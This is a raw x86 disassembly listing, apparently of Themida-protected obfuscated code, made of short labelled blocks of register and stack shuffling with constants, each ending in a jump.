jmp loc_5712A9
; ---------------------------------------------------------------------------
loc_562774: ; CODE XREF: Themida_:0056C43Dj
mov [esp], ebx
mov ebx, esp
jmp loc_565BF0
; ---------------------------------------------------------------------------
loc_56277E: ; CODE XREF: Themida_:00568195j
mov edi, 1CB03A3Bh
and edi, 595537AAh
sub edi, 46E5A87h
jmp loc_563F44
; ---------------------------------------------------------------------------
loc_562794: ; CODE XREF: Themida_:005655AAj
mov edi, [esp]
add esp, 4
push edx
mov edx, 20465B32h
or edx, 409962BCh
jmp loc_563635
; ---------------------------------------------------------------------------
loc_5627AB: ; CODE XREF: Themida_:0056F5F4j
push 31947CACh
jmp loc_56781B
; ---------------------------------------------------------------------------
loc_5627B5: ; CODE XREF: Themida_:0056A01Aj
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
test ecx, eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5627C8: ; CODE XREF: Themida_:0055E08Cj
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push 48CAh
mov [esp], ebx
sub esp, 4
mov [esp], eax
jmp loc_563BCF
; ---------------------------------------------------------------------------
loc_5627E4: ; CODE XREF: Themida_:0056D4CBj
push eax
push esi
mov esi, 20h
mov eax, esi
pop esi
add eax, edi
add [eax], edx
pop eax
mov edx, [esp]
add esp, 4
neg dword ptr [edi+20h]
push eax
mov eax, 20h
add eax, edi
xor dword ptr [eax], 91E3C207h
pop eax
jmp loc_56C0F4
; ---------------------------------------------------------------------------
loc_562813: ; CODE XREF: Themida_:005623D7j
xchg ebx, edx
not ebx
xchg ebx, edx
jmp loc_56CFFF
; ---------------------------------------------------------------------------
loc_56281E: ; CODE XREF: Themida_:005720BAj
push esi
jmp loc_563955
; ---------------------------------------------------------------------------
loc_562824: ; CODE XREF: Themida_:0055D998j
push 18E663EFh
pop edx
and edx, 0BCB21C5h
not edx
jmp loc_55F972
; ---------------------------------------------------------------------------
loc_562837: ; CODE XREF: Themida_:0056BC4Ej
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_56EB97
; ---------------------------------------------------------------------------
loc_562841: ; CODE XREF: Themida_:0055FC3Fj
xor ebp, 796A4DC1h
push edx
mov edx, 747A7821h
jmp loc_56560E
; ---------------------------------------------------------------------------
loc_562852: ; CODE XREF: Themida_:00561BDEj
sub ebp, eax
jmp loc_56F537
; ---------------------------------------------------------------------------
loc_562859: ; CODE XREF: Themida_:0056FBD7j
movzx cx, ah
push ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
jmp loc_567D97
; ---------------------------------------------------------------------------
loc_562873: ; CODE XREF: Themida_:00570319j
mov edi, [esp]
push 12AEh
mov [esp], edi
mov edi, esp
jmp loc_56C26F
; ---------------------------------------------------------------------------
loc_562885: ; CODE XREF: Themida_:0055D862j
push ecx
mov ecx, 5D3A3845h
not ecx
shl ecx, 8
xor ecx, 0BEDB9DF9h
or esi, ecx
pop ecx
not esi
jmp loc_561B8D
; ---------------------------------------------------------------------------
loc_5628A0: ; CODE XREF: Themida_:0056BCFAj
push 77FDh
mov [esp], edi
mov edi, 2DD305E5h
sub edi, 1D3B021Bh
xor edi, 17031AB2h
jmp loc_56F4C6
; ---------------------------------------------------------------------------
loc_5628BE: ; CODE XREF: Themida_:00561952j
xor ebp, 7532307Ch
sub ebp, 0B3315D57h
add esi, ebp
pop ebp
sub ecx, esi
pop esi
add ecx, edx
push edi
mov edi, 1D916D25h
add ecx, 70350BD2h
sub ecx, 2F972179h
add ecx, edi
push edi
mov edi, 4606638Bh
dec edi
inc edi
shr edi, 2
jmp loc_561580
; ---------------------------------------------------------------------------
loc_5628F6: ; CODE XREF: Themida_:0056EECFj
push eax
jmp loc_5702B1
; ---------------------------------------------------------------------------
loc_5628FC: ; CODE XREF: Themida_:00566904j
mov ah, bl
jmp loc_55E14C
; ---------------------------------------------------------------------------
loc_562903: ; CODE XREF: Themida_:0055D7AFj
sub ebp, 41114C6Ah
jmp loc_571EA9
; ---------------------------------------------------------------------------
loc_56290E: ; CODE XREF: Themida_:00564F45j
sub eax, 0B7277F93h
mov esi, eax
jmp loc_563058
; ---------------------------------------------------------------------------
loc_56291A: ; CODE XREF: Themida_:0056DEBDj
add al, 38h
sub al, cl
sub al, 38h
mov ecx, [esp]
add esp, 4
add al, bl
add al, 0B2h
sub al, 0EFh
push 5CEBh
mov [esp], ecx
mov ch, 0DBh
shr ch, 7
push ebx
push 5022h
mov [esp], ecx
mov cl, 0A1h
add cl, 8Ah
push edx
mov dh, 6Ah
push ecx
mov ch, 0AEh
or ch, 0B5h
sub ch, 21h
xor ch, 0B7h
xor dh, ch
pop ecx
push ecx
mov cl, 79h
and dh, cl
pop ecx
jmp loc_568D01
; ---------------------------------------------------------------------------
loc_562964: ; CODE XREF: Themida_:0056DB3Aj
add dword ptr [esp], 4
push dword ptr [esp]
pop edx
push 5FFFh
mov [esp], ebx
jmp loc_56319C
; ---------------------------------------------------------------------------
loc_56297C: ; CODE XREF: Themida_:00561355j
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push 1AEAh
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
push ebp
mov ebp, 3A2E3AC2h
jmp loc_56E02A
; ---------------------------------------------------------------------------
loc_5629AC: ; CODE XREF: Themida_:0056FEE0j
neg ebp
add ebp, 7AE25B90h
jmp loc_55F21E
; ---------------------------------------------------------------------------
loc_5629B9: ; CODE XREF: Themida_:0056C1BFj
xor eax, edi
pop edi
jmp loc_55E6BC
; ---------------------------------------------------------------------------
loc_5629C1: ; CODE XREF: Themida_:0056D10Cj
pop eax
xor ebp, [esp]
jmp loc_55D5FD
; ---------------------------------------------------------------------------
loc_5629CA: ; CODE XREF: Themida_:0056AFF9j
sub al, 7Dh
sub al, cl
add al, 7Dh
add al, 6Ah
jmp loc_560491
; ---------------------------------------------------------------------------
loc_5629D7: ; CODE XREF: Themida_:0056CFA0j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5629DC: ; CODE XREF: Themida_:0055E6BDj
mov edx, 640A309Ch
dec edx
add edx, 32D94C37h
add eax, edx
pop edx
add esi, eax
jmp loc_568FB3
; ---------------------------------------------------------------------------
loc_5629F2: ; CODE XREF: Themida_:0056DDB1j
sub ebp, 3D52503Ch
jmp loc_56A0E2
; ---------------------------------------------------------------------------
loc_5629FD: ; CODE XREF: Themida_:00571E3Cj
push 3664h
mov [esp], edi
jmp loc_55D2FB
; =============== S U B R O U T I N E =======================================
sub_562A0A proc near ; CODE XREF: sub_55DEE3+DEE3j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056004D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005602DA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056113D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00561CF8 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 00564B3E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00566224 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00568B2E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BE98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056C847 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056D396 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D5A5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056DEE8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005703C1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00570C2B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570F9D SIZE 00000009 BYTES
sub esp, 2
mov word ptr [esp+4+var_4], dx
jmp loc_56113D
sub_562A0A endp
; ---------------------------------------------------------------------------
loc_562A19: ; CODE XREF: Themida_:00560385j
push edi
mov edi, 3F7013F7h
and edi, 3F9B3E59h
and edi, 72960A89h
push eax
mov eax, 0CDEFFE03h
jmp loc_56DBED
; ---------------------------------------------------------------------------
loc_562A36: ; CODE XREF: Themida_:0056ED8Ej
xchg ebp, [esp]
mov esp, [esp]
push ebp
mov ebp, 202D7814h
add ebp, 0CD6C005h
add eax, ebp
mov ebp, [esp]
add esp, 4
sub eax, 543D71C1h
jmp loc_56A291
; ---------------------------------------------------------------------------
loc_562A5A: ; CODE XREF: Themida_:005710ADj
and eax, 73722146h
and eax, 4AE6347h
add eax, 13C27CD4h
add esi, eax
jmp loc_56CEC6
; ---------------------------------------------------------------------------
loc_562A70: ; CODE XREF: Themida_:0056AC53j
xchg ebx, [esp]
pop esp
push 0D00h
mov [esp], ecx
push edx
mov edx, esp
jmp loc_55F6BD
; ---------------------------------------------------------------------------
loc_562A84: ; CODE XREF: Themida_:00568544j
; Themida_:0056C626j
sub esp, 4
mov [esp], ebx
push edi
mov edi, 79BD4892h
xor [esp+4], edi
pop edi
pop eax
push edx
push ebp
mov ebp, 668E0EA0h
push 107Ah
mov [esp], esi
jmp loc_55E797
; ---------------------------------------------------------------------------
loc_562AAD: ; CODE XREF: Themida_:0056A354j
xor al, dh
jmp loc_572B18
; ---------------------------------------------------------------------------
loc_562AB4: ; CODE XREF: Themida_:00569CA0j
sub ebp, 7DBD3F7Ch
mov ebx, [esp]
add esp, 4
sub esp, 4
jmp loc_56A716
; ---------------------------------------------------------------------------
loc_562ACE: ; CODE XREF: Themida_:00568D23j
push edi
mov edi, 48552ED0h
sub ebp, edi
pop edi
or ebp, 7BCB4F69h
and ebp, 347B23D8h
push ecx
mov ecx, 773A30DEh
xor ebp, ecx
pop ecx
sub ebx, 4DF77D51h
add ebx, 3A2454BAh
add ebx, ebp
sub ebx, 3A2454BAh
add ebx, 4DF77D51h
pop ebp
add ebx, eax
jmp loc_56D3B9
; ---------------------------------------------------------------------------
loc_562B0E: ; CODE XREF: Themida_:00567CFAj
shl cl, 1
xor cl, 0D2h
not cl
not cl
xor cl, 0D6h
sub cl, 20h
or dl, cl
pop cx
sub dl, 23h
add al, dl
pop edx
sub al, bl
sub al, 21h
mov ebx, [esp]
add esp, 4
jmp loc_562C71
; ---------------------------------------------------------------------------
loc_562B36: ; CODE XREF: Themida_:00570EB2j
pop ecx
push edi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
mov ebx, 7AC3C00Fh
mov edi, ebx
pop ebx
xor ecx, edi
pop edi
mov ebp, ecx
pop ecx
add ebp, 5F5168C8h
jmp loc_56B5B7
; ---------------------------------------------------------------------------
loc_562B67: ; CODE XREF: Themida_:00563C3Cj
add dword ptr [esp], 25E754Eh
mov eax, [esp]
add esp, 4
push esi
mov esi, 0B9E3C0Dh
inc esi
dec esi
sub esi, 0C3E21E8Ah
push 3E70h
jmp loc_56F3CE
; ---------------------------------------------------------------------------
loc_562B8F: ; CODE XREF: Themida_:00563135j
sub edx, 65AA035Dh
sub edx, ebx
add edx, 65AA035Dh
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_56056F
; ---------------------------------------------------------------------------
loc_562BAC: ; CODE XREF: Themida_:0055F50Ej
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_5686C8
; ---------------------------------------------------------------------------
loc_562BC4: ; CODE XREF: Themida_:0056F0DDj
mov esp, [esp]
jmp loc_562423
; ---------------------------------------------------------------------------
loc_562BCC: ; CODE XREF: Themida_:005676A3j
mov eax, 5F930F74h
sub ebx, eax
jmp loc_56A601
; ---------------------------------------------------------------------------
loc_562BD8: ; CODE XREF: Themida_:0056BA0Cj
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ecx, 5F3855BCh
push edi
push 796E7AB1h
jmp loc_565AE5
; ---------------------------------------------------------------------------
loc_562BF7: ; CODE XREF: Themida_:00571CCCj
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], esi
push esp
pop esi
sub esp, 4
jmp loc_570081
; ---------------------------------------------------------------------------
loc_562C1B: ; CODE XREF: Themida_:00568BBCj
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
add esi, 7403140Bh
jmp loc_55ED5B
; ---------------------------------------------------------------------------
loc_562C38: ; CODE XREF: Themida_:00566C48j
add esi, 4FF5793h
jmp loc_560F93
; ---------------------------------------------------------------------------
loc_562C43: ; CODE XREF: Themida_:0055E784j
sub eax, 6A6779A8h
sub eax, edi
push ebp
push edx
push 0CA64354h
pop edx
sub edx, 0AB342917h
jmp loc_571AAB
; ---------------------------------------------------------------------------
loc_562C5D: ; CODE XREF: Themida_:0056D6C9j
push 7AEAh
mov [esp], esi
jmp loc_568BE3
; ---------------------------------------------------------------------------
loc_562C6A: ; CODE XREF: Themida_:0056178Cj
not esi
jmp loc_5712FD
; ---------------------------------------------------------------------------
loc_562C71: ; CODE XREF: Themida_:00562B31j
push 7CBCh
mov [esp], edx
mov edx, esp
push eax
mov eax, 4
sub edx, 2B0C4E5Ch
add edx, eax
add edx, 2B0C4E5Ch
mov eax, [esp]
add esp, 4
sub edx, 4
jmp loc_5671AA
; ---------------------------------------------------------------------------
loc_562C9D: ; CODE XREF: Themida_:00567E7Bj
add di, 0C807h
add ax, 788Ah
jmp loc_56B0C3
; ---------------------------------------------------------------------------
loc_562CAB: ; CODE XREF: Themida_:00560A06j
sub cl, 9Ch
pop ax
jmp loc_55F178
; ---------------------------------------------------------------------------
loc_562CB5: ; CODE XREF: Themida_:0056883Fj
mov edx, [esp]
add esp, 4
xor al, bl
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_56B438
; ---------------------------------------------------------------------------
loc_562CDA: ; CODE XREF: Themida_:0055F3CCj
pop esp
jmp loc_5700CA
; ---------------------------------------------------------------------------
loc_562CE0: ; CODE XREF: Themida_:00560FF1j
push ebx
push small 5305h
pop bx
and bx, 323Bh
inc bx
or bx, 3CFEh
neg bx
xchg dx, bx
not dx
jmp loc_56F6DB
; ---------------------------------------------------------------------------
loc_562D01: ; CODE XREF: Themida_:0056A996j
add edi, esi
jmp loc_5640B7
; ---------------------------------------------------------------------------
loc_562D08: ; CODE XREF: Themida_:0055DE20j
xor esi, ecx
pop ecx
inc esi
sub esi, 18844A69h
add ebx, esi
pop esi
jmp loc_5670C0
; ---------------------------------------------------------------------------
loc_562D1A: ; CODE XREF: Themida_:0055F96Dj
pop esp
inc edx
and edx, 479F68F9h
sub edx, 408D20F5h
push edx
pop esi
pop edx
sub edi, 54F47031h
add edi, esi
add edi, 54F47031h
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_564B53
; ---------------------------------------------------------------------------
loc_562D45: ; CODE XREF: Themida_:005615FCj
pop ebx
push edx
mov edx, 4819338Fh
push eax
jmp loc_560213
; ---------------------------------------------------------------------------
loc_562D52: ; CODE XREF: Themida_:00563B2Fj
mov ebp, 797245Bh
or ebx, ebp
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ebp
mov ebp, 55E201FDh
and ebx, ebp
pop ebp
push edx
mov edx, 47CE5C7Ah
xor ebx, edx
pop edx
add ebx, 226C5ECBh
xor ebx, 64D8BCEEh
mov edx, ebx
push dword ptr [esp]
jmp loc_564CAC
; ---------------------------------------------------------------------------
loc_562D97: ; CODE XREF: Themida_:0056CC49j
push ebp
jmp loc_568C1C
; ---------------------------------------------------------------------------
loc_562D9D: ; CODE XREF: Themida_:0055EABCj
dec al
sub al, 0F5h
push 3C57h
jmp loc_567FD3
; ---------------------------------------------------------------------------
loc_562DAB: ; CODE XREF: Themida_:0056DAEFj
not cl
add cl, 3Eh
mov dl, cl
pop ecx
sub al, dl
pop dx
add al, bl
add al, 62h
mov bx, [esp]
add esp, 2
mov edx, [esp]
jmp loc_572B3D
; ---------------------------------------------------------------------------
loc_562DCA: ; CODE XREF: Themida_:00564729j
or ebp, 440E2E92h
push eax
mov eax, 1B161C6Fh
xor eax, 4A6F4641h
jmp loc_571FA3
; ---------------------------------------------------------------------------
loc_562DE0: ; CODE XREF: Themida_:00572B4Fj
mov [esp], esi
push 3A7h
mov [esp], eax
push ecx
push 183Ah
mov [esp], ebx
mov ebx, 6D0D6C65h
mov ecx, 875E753Bh
sub ecx, ebx
pop ebx
add ecx, 156123F9h
sub ecx, 1C2324E5h
push edi
mov edi, 53442F1Ah
and ecx, edi
pop edi
xor ecx, 11105509h
add ecx, 0FDEBADFEh
push 5791h
mov [esp], ebp
jmp loc_55EA3A
; ---------------------------------------------------------------------------
loc_562E2F: ; CODE XREF: Themida_:0056836Fj
and ebp, edi
mov edi, [esp]
add esp, 4
shl ebp, 8
sub ebp, 8A16474Bh
sub [edi+24h], ebp
mov ebp, [esp]
push ebp
jmp loc_5679B1
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
push 6337h
jmp loc_56D28B
; ---------------------------------------------------------------------------
loc_562E6A: ; CODE XREF: Themida_:00571FFBj
xor eax, 10F522E3h
or esi, eax
pop eax
shl esi, 2
push edx
mov edx, 313B7237h
sub esi, edx
pop edx
jmp loc_563C52
; ---------------------------------------------------------------------------
loc_562E83: ; CODE XREF: Themida_:005652D3j
pop eax
add cl, dl
pop edx
push eax
mov al, 30h
or al, 0FBh
jmp loc_565753
; ---------------------------------------------------------------------------
loc_562E91: ; CODE XREF: Themida_:00570CB6j
push ebx
push 3987ED9Bh
pop ebx
mov ebp, ebx
mov ebx, [esp]
add esp, 4
xor ebx, ebp
mov ebp, [esp]
add esp, 4
push ebx
pop edi
mov ebx, [esp]
add esp, 4
sub eax, 378B469Fh
sub eax, edi
push edi
mov edi, 378B469Fh
add eax, edi
jmp loc_55E984
; ---------------------------------------------------------------------------
loc_562EC4: ; CODE XREF: Themida_:00571F9Ej
add edx, 4
jmp loc_5645FD
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55E691
; ---------------------------------------------------------------------------
loc_562ED8: ; CODE XREF: Themida_:0056423Dj
push ebx
mov ebx, 248A4EB2h
shr ebx, 2
jmp loc_565AD0
; ---------------------------------------------------------------------------
loc_562EE6: ; CODE XREF: Themida_:00570787j
mov ebp, 7FD0D9DCh
jmp loc_56D1AE
; ---------------------------------------------------------------------------
loc_562EF0: ; CODE XREF: Themida_:0056F378j
pop dx
add al, bl
jmp loc_56E2CE
; ---------------------------------------------------------------------------
loc_562EF9: ; CODE XREF: Themida_:005694FEj
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_56E5E5
; ---------------------------------------------------------------------------
loc_562F0A: ; CODE XREF: Themida_:00566DE1j
push 4506h
mov [esp], ebp
sub esp, 4
mov [esp], eax
push esp
jmp loc_56A4CA
; ---------------------------------------------------------------------------
lodsd
push edx
mov edx, 26D9609Ch
dec edx
jmp loc_56CA29
; ---------------------------------------------------------------------------
loc_562F2E: ; CODE XREF: Themida_:005705E0j
movzx eax, al
jmp loc_55E4E3
; ---------------------------------------------------------------------------
loc_562F36: ; CODE XREF: Themida_:0056E744j
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_56331E
; ---------------------------------------------------------------------------
loc_562F51: ; CODE XREF: Themida_:0055E7CBj
add esi, 4
xchg esi, [esp]
pop esp
sub esi, 9DFC0DAh
add eax, esi
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_561DBD
; ---------------------------------------------------------------------------
loc_562F74: ; CODE XREF: Themida_:0056E819j
or eax, edi
jmp loc_564427
; ---------------------------------------------------------------------------
loc_562F7B: ; CODE XREF: Themida_:00570F6Bj
add ebx, 0D05F2009h
sub esi, ebx
jmp loc_5613F4
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_571D47
; ---------------------------------------------------------------------------
loc_562F90: ; CODE XREF: Themida_:00568B3Bj
push esp
jmp loc_568857
; ---------------------------------------------------------------------------
loc_562F96: ; CODE XREF: Themida_:0056EDEDj
mov ebp, [esp]
add esp, 4
sub edx, 117000D0h
jmp loc_56924A
; ---------------------------------------------------------------------------
loc_562FAA: ; CODE XREF: Themida_:00567043j
xchg dh, ah
xchg ah, bh
jmp loc_572204
; ---------------------------------------------------------------------------
loc_562FB3: ; CODE XREF: Themida_:0057262Ej
push esi
mov esi, 6383481h
push ebx
mov ebx, 435A00BFh
not ebx
shr ebx, 6
neg ebx
inc ebx
sub ebx, 8C3E49CCh
sub ecx, ebx
jmp loc_572A50
; ---------------------------------------------------------------------------
loc_562FD4: ; CODE XREF: Themida_:0056C2F1j
mov edi, 1ADA0E20h
xor edi, 53917796h
push edx
mov edx, 5E5C3C89h
jmp loc_5675B3
; ---------------------------------------------------------------------------
loc_562FEA: ; CODE XREF: Themida_:005679ACj
push dword ptr [esp]
pop edx
jmp loc_56A3E9
; ---------------------------------------------------------------------------
loc_562FF3: ; CODE XREF: Themida_:0056765Fj
pop eax
add esp, 4
push 0B6Eh
jmp loc_56180C
; ---------------------------------------------------------------------------
loc_563004: ; CODE XREF: Themida_:0056CBF9j
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
add esp, 4
pop dword ptr [esp]
jmp loc_560A48
; ---------------------------------------------------------------------------
loc_56301A: ; CODE XREF: Themida_:005670BBj
neg ebp
jmp loc_56F239
; ---------------------------------------------------------------------------
loc_563021: ; CODE XREF: Themida_:0056F9ECj
sub eax, ebx
pop ebx
jmp loc_569823
; ---------------------------------------------------------------------------
loc_563029: ; CODE XREF: Themida_:00564C7Aj
pop ecx
sub esp, 4
mov [esp], esi
push 399Dh
mov [esp], edi
jmp loc_564F74
; ---------------------------------------------------------------------------
loc_563040: ; CODE XREF: Themida_:0056BF96j
dec dword ptr [esp]
pop ecx
push ecx
jmp loc_570027
; ---------------------------------------------------------------------------
loc_56304A: ; CODE XREF: Themida_:0056AADDj
mov esp, [esp]
mov [esp], eax
push esp
pop eax
push ebx
jmp loc_567C11
; ---------------------------------------------------------------------------
loc_563058: ; CODE XREF: Themida_:00562915j
mov eax, [esp]
add esp, 4
not esi
shr esi, 3
jmp loc_5676BE
; ---------------------------------------------------------------------------
loc_56306B: ; CODE XREF: Themida_:00566178j
neg esi
jmp loc_56194C
; ---------------------------------------------------------------------------
loc_563072: ; CODE XREF: Themida_:0056BE4Cj
add ebx, 53FC2A99h
sub ebx, ecx
sub ebx, 53FC2A99h
pop ecx
mov edi, [esp]
add esp, 4
push esi
mov esi, 0E9C36EBh
jmp loc_572603
; ---------------------------------------------------------------------------
loc_563095: ; CODE XREF: Themida_:00571BC6j
push ebp
push edi
mov edi, 6D1B548Eh
jmp loc_57140F
; ---------------------------------------------------------------------------
loc_5630A1: ; CODE XREF: Themida_:0055E911j
add ebp, 4
jmp loc_571C30
; ---------------------------------------------------------------------------
loc_5630A9: ; CODE XREF: Themida_:0056B99Fj
add esp, 4
push ebx
mov ebx, 3B2920A8h
not ebx
sub ebx, 3E944C8Ah
shl ebx, 7
xor ebx, 51756E20h
mov esi, ebx
pop ebx
xor esi, eax
mov eax, [esp]
add esp, 4
jmp loc_57219B
; ---------------------------------------------------------------------------
loc_5630D6: ; CODE XREF: Themida_:00566146j
sub edx, 44C1192Fh
jmp loc_5710C2
; ---------------------------------------------------------------------------
loc_5630E1: ; CODE XREF: Themida_:00560F66j
mov esp, [esp]
imul cx, ax
push cx
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5630F0: ; CODE XREF: Themida_:00569FBAj
push 5E8B285Ah
mov edx, [esp]
add esp, 4
xor edi, edx
pop edx
sub edi, 0CF07BFBh
jmp loc_56B79B
; ---------------------------------------------------------------------------
loc_56310C: ; CODE XREF: Themida_:0056D415j
sub ebx, ebp
pop ebp
jmp loc_56C54A
; ---------------------------------------------------------------------------
loc_563114: ; CODE XREF: Themida_:0055E69Dj
pop edx
jmp loc_561F61
; ---------------------------------------------------------------------------
loc_56311A: ; CODE XREF: Themida_:0055E421j
pop edi
sub edx, 4B576C97h
add edx, ecx
add edx, 4B576C97h
push ebx
mov ebx, 53926CE2h
sub ebx, 0E72B089Ah
jmp loc_562B8F
; ---------------------------------------------------------------------------
loc_56313A: ; CODE XREF: Themida_:005615C6j
pop ecx
pop edi
add ebx, ecx
pop ecx
jmp loc_568844
; ---------------------------------------------------------------------------
loc_563144: ; CODE XREF: Themida_:00561305j
pop ebp
push esi
push eax
mov eax, 546715Eh
xor eax, 4A414ACBh
dec eax
add eax, 743BB110h
mov esi, eax
pop eax
jmp loc_5645AF
; ---------------------------------------------------------------------------
loc_56315F: ; CODE XREF: Themida_:00565A50j
add ebp, 4
add ebp, 2
xor ebp, [esp]
jmp loc_56A54A
; ---------------------------------------------------------------------------
loc_563170: ; CODE XREF: Themida_:00568397j
mov edi, 21F20980h
or edi, 5DA00028h
or edi, 8866851h
jmp loc_57126B
; ---------------------------------------------------------------------------
loc_563186: ; CODE XREF: Themida_:0055E1EFj
add edx, ebx
pop ebx
sub ebp, edx
pop edx
jmp loc_566ECC
; ---------------------------------------------------------------------------
loc_563191: ; CODE XREF: Themida_:005644A8j
mov [esp], esi
sub esp, 4
jmp loc_566747
; ---------------------------------------------------------------------------
loc_56319C: ; CODE XREF: Themida_:00562977j
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push esi
mov esi, 639644A9h
jmp loc_569AB0
; ---------------------------------------------------------------------------
loc_5631B6: ; CODE XREF: Themida_:005617EDj
mov ebx, 2330094Ah
jmp loc_56F6BC
; ---------------------------------------------------------------------------
loc_5631C0: ; CODE XREF: Themida_:005647F6j
pop ecx
dec ecx
neg ecx
add ecx, 73117079h
mov edi, ecx
pop ecx
push ebp
mov ebp, 38DC026Dh
and edi, ebp
pop ebp
not edi
jmp loc_568762
; ---------------------------------------------------------------------------
loc_5631DD: ; CODE XREF: Themida_:0056BE71j
push 207Eh
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_560AE2
; ---------------------------------------------------------------------------
loc_5631F2: ; CODE XREF: Themida_:00563502j
xor ecx, 0B0C2C2BAh
add ebp, 6BA706A4h
jmp loc_565463
; ---------------------------------------------------------------------------
loc_563203: ; CODE XREF: Themida_:005688F6j
xchg esi, [esp]
mov esp, [esp]
xor edi, 0CDC2B2D9h
push esi
jmp loc_564D03
; ---------------------------------------------------------------------------
loc_563215: ; CODE XREF: Themida_:005660B1j
push edi
mov edi, esp
jmp loc_55E9DB
; ---------------------------------------------------------------------------
loc_56321D: ; CODE XREF: Themida_:0056A73Ej
sub edi, 16F46091h
neg edi
xor edi, 20CD0C5Dh
and edi, 368028D1h
not edi
push edx
mov edx, 20B6B9BBh
add edi, edx
pop edx
add edx, edi
mov edi, [esp]
add esp, 4
loc_563244: ; CODE XREF: Themida_:00561045j
; Themida_:00567D89j
push dword ptr [edi+24h]
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub esp, 4
jmp loc_560D0F
; ---------------------------------------------------------------------------
mov eax, [esp]
sub esp, 4
mov [esp], ebx
push esp
pop ebx
push edi
mov edi, 2CEC38CDh
add edi, 0FFFFFFFFh
shr edi, 6
sub esp, 4
mov [esp], ebp
mov ebp, 47D83EF5h
add ebp, 3B4A12BFh
push ecx
push edx
mov edx, 72F77827h
mov ecx, edx
pop edx
sub ebp, ecx
pop ecx
jmp loc_5708CA
; ---------------------------------------------------------------------------
loc_5632A1: ; CODE XREF: Themida_:0056E358j
push 7A9D259Eh
pop eax
jmp loc_56454C
; ---------------------------------------------------------------------------
loc_5632AC: ; CODE XREF: Themida_:005643EDj
push eax
mov eax, 53056484h
or eax, 288978B9h
or eax, 55CA3AFDh
and eax, 6A590B7Dh
sub eax, 6A490A79h
jmp loc_55F503
; ---------------------------------------------------------------------------
loc_5632CB: ; CODE XREF: Themida_:0056BEFBj
mov edi, 293A5FFEh
dec edi
sub edi, 1
xor edi, 51A4483Ah
jmp loc_55D9CF
; ---------------------------------------------------------------------------
loc_5632E2: ; CODE XREF: Themida_:00565E6Dj
xor cl, 1Dh
add cl, 0E0h
add al, cl
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_56C24E
; ---------------------------------------------------------------------------
loc_563305: ; CODE XREF: Themida_:0055EAA0j
xor ebp, eax
xor eax, ebp
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_568DB3
; ---------------------------------------------------------------------------
loc_56331E: ; CODE XREF: Themida_:00562F4Cj
mov edx, eax
jmp loc_562279
; ---------------------------------------------------------------------------
loc_563325: ; CODE XREF: Themida_:0056C976j
xor edi, 557241D4h
add eax, edi
jmp loc_565622
; ---------------------------------------------------------------------------
loc_563332: ; CODE XREF: Themida_:00561916j
sub edx, 25163A13h
pop ebp
xchg edx, [esp]
pop esp
mov [esp], ecx
mov ecx, 2
add eax, 644549E1h
jmp loc_560C37
; ---------------------------------------------------------------------------
loc_56334F: ; CODE XREF: Themida_:0056D7E3j
neg ecx
sub ecx, 63589F7Ch
jmp loc_560D7D
; ---------------------------------------------------------------------------
loc_56335C: ; CODE XREF: Themida_:00566345j
push eax
mov eax, 30793B85h
add eax, 0FFFFFFFFh
not eax
and eax, 224C0180h
sub eax, 63B1485Ah
shl eax, 5
add eax, 35A90B44h
sub ecx, eax
pop eax
xor ecx, [esp]
jmp loc_56A0FC
; ---------------------------------------------------------------------------
loc_563386: ; CODE XREF: Themida_:00567AF3j
add dword ptr [esp+4], 77162041h
pop ebp
pop ebp
add ebp, 4
sub esp, 4
mov [esp], ebx
jmp loc_565630
; ---------------------------------------------------------------------------
